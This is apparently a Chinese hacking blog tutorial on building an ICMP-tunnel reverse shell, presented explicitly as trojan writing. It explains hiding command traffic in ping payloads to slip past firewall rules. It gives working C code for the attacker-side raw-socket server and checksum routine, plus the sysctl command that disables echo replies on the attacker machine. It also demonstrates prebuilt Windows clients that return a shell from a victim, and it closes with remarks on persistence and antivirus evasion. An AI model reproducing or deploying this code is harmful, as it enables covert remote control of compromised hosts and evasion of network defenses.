话说万物传输都基于TCP/IP协议嘛~~~~
ICMP协议算是TCP/IP协议的一个子协议。
通俗点说就是发送特定格式的数据报给目标主机,测试目标主机是否有回复,再说直白一点,就是我们最常用到的ping。
很多时候,运维为了方便,在各种安全策略中,ICMP协议通常是不会过滤的,通俗点说就是不会禁ping。
理论上来说,只要我们能和一台主机建立ICMP协议连接,也就是说能够ping得通,我们就可以利用该协议绕过一切的安全策略来传输数据。
ICMP协议是通过创建数据报发送给目标主机,然后目标主机收到数据报后回复给我们一个数据报的一个过程。
先来看看ICMP的数据报结构
在度娘随便找的一张图片~~
简单说,ICMP数据报就是由IP头部、ICMP头部和ICMP报文组成。
然而~~然而~~然而~~ICMP的报文数据是没有任何限制的,so,那么我们可以思考一下~~
如果我在目标上建立一个shell的管道,然后通过ICMP来传输我们之间的数据是不是可行呢?
答:100%可行!!!
------可爱的分割线------
既然思路清晰了,那么就开始动手吧!
这次我们要实现的目标是创建cmd管道,然后通过ICMP协议来进行数据的传输。
(一般我个人写一个client和server,都喜欢客户端服务端一起写,写木马不都是这样吗~但是为了方便阅读,还是一个个的来~)
先写一个server吧
0x01 肯定先创建原始ICMP套接字呐
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sockfd == -1) {
perror("socket");
return -1;
}
0x02 将标准输入设置为非阻塞
flags = fcntl(0, F_GETFL, 0);
flags |= O_NONBLOCK;
fcntl(0, F_SETFL, flags);
0x03 来个while(1)的死循环,开始和client进行shell的交互
数据交互过程为:
获取ICMP→解析标头和数据→带上标头+构造的数据→回复
while(1) {
//从Socket读取数据
memset(in_buf, 0x00, IN_BUF_SIZE);
nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
if (nbytes > 0) {
//获取ip和icmp标头和数据部分
ip = (struct iphdr *) in_buf;
if (nbytes > sizeof(struct iphdr)) {
nbytes -= sizeof(struct iphdr);
icmp = (struct icmphdr *) (ip + 1);
if (nbytes > sizeof(struct icmphdr)) {
nbytes -= sizeof(struct icmphdr);
data = (char *) (icmp + 1);
data[nbytes] = '\0';
printf("%s", data);
fflush(stdout);
}
//重用标头
icmp->type = 0;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = ip->saddr;
//从标准输入读取数据
nbytes = read(0, out_buf, OUT_BUF_SIZE);
if (nbytes > -1) {
memcpy((char *) (icmp + 1), out_buf, nbytes);
out_size = nbytes;
} else {
out_size = 0;
}
icmp->checksum = 0x00;
icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
//发送回复
nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
if (nbytes == -1) {
perror("sendto");
return -1;
}
}
}
}
0x04 计算校验和
数据报需要校验和,是为了每条数据报的完整性,所以需要我们计算报文校验和
unsigned short checksum(unsigned short *ptr, int nbytes)
{
unsigned long sum;
unsigned short oddbyte, rs;
sum = 0;
while(nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if(nbytes == 1) {
oddbyte = 0;
*((unsigned char *) &oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
rs = ~sum;
return rs;
}
0x05 补充
常量的inbuf和outbuf大小我默认是1024和64,你也可以自己来定义,我估摸着我也用不着开辟太大的缓冲区,毕竟只是一个临时shell!
#define IN_BUF_SIZE 1024
#define OUT_BUF_SIZE 64
0x06 总结
至此,server基本就写完了。
如果你比较了解TCP/IP协议的话,我上面大部分强调的都是废话,但是毕竟还是没有说到client,一个交互式通讯,只写一个端,感觉确实怪怪的,下一篇文章再继续分享client的编写如何建立shell管道然后通过ICMP跟server进行数据交互吧!!!
------可爱的分割线------
先送上一套成品~~~~~
server是基于linux编译的,client是基于windows编译的,有i386和x64两个程序。
演示一下:
0x01 攻击机先禁ping
攻击机为什么要先禁ping呢?
很简单,client已经是伪造ICMP的数据报给我们了,如果我们默认ICMP协议去回复,client不是就傻了吗?
所以我们禁止回复,然后回复的真正内容是我们要让client执行的shell命令!
以kali为例:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
禁止ICMP回复
0x02 运行server,开始准备接收受害者的ping
0x03 client愉快的来ping我
client32.exe 或者client64.exe 输入-h 查看帮助
因为是内网演示,我就不设置缓冲区和请求延迟了,默认即可
成功弹回了shell
中文乱码?编码问题嘛,看编码是936(GBK),直接chcp 65001(UTF-8) ,就不会乱码了!
0x07 再哔哔两句
其实我们所谓的木马
第一、数据能够交互(万物皆文件嘛,从老美打造的二进制生态来说,无非就是0和1~可惜了老大哥的三进制-1、0和1,还没打造生态呢,就over了,感兴趣的可以自己去了解一下,三进制的运行速度不是二进制可以比拟的(当然不是进制越高越快~~~),量子计算机本质也能算“三进制”吧,只不过0和1之间有无数种可能~~特么扯远了~~);
第二、控制端能够发送对应指令给被控端,被控端接收指令执行相应的操作然后回馈给控制端
第三、各种潜伏控制免杀(其实遵循安全策略来达到目的才是最好的免杀)